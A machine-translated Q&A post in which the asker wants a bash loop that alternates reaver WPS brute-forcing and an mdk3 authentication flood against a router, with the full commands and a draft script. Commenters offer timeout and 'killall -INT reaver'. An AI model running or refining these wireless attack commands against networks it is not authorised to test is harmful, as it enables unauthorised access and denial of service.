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Shell腳本:在特定的時間間隔後發送控制c到一個linux命令?
我正在做一些測試,在我的路由器上,我正在使用mdk3和reaver實用程序。
這裏有兩個命令:
[cmd1] echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv -l 230
[cmd2] sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6
目標:
我想創建一個shell腳本,將運行[CMD1] 2分鐘,然後它會發送CTRL + C信號到[cmd1],以便它將保存reaver會話。
然後cmd2將運行2分鐘,然後這也將停止。
這兩個將在循環中。
下面是我寫的示例腳本,你可以給它添加計時器..?
#!/bin/bash
while :; do echo
echo "running mdk for 2 minutes";
timeout 120 sudo mdk3 wlan2mon a -a 00:FF:EE:CC:DS:B6;
echo "mdk finished";
echo "starting reaver for 2 minutes ";
#here timeout won't work, as ctrl+c can only save the state.
//add code here to run reaver utility for two minutes and send ctrl+c to it
echo y|reaver -i wlan2mon -b 00:FF:EE:CC:DS:B6 -vv;
echo "reaver ran for two minutes";
done
[超時一個在bash沒有不必要的延誤命令]的可能的複製(HTTP://計算器.com/questions/687948/timeout-a-command-in-bash-without-unnecessary-delay) – Vorsprung
'sleep 120; killall -INT reaver'? – jamieguinan
你能解釋@jamieguinan – yogeshkmrsoni01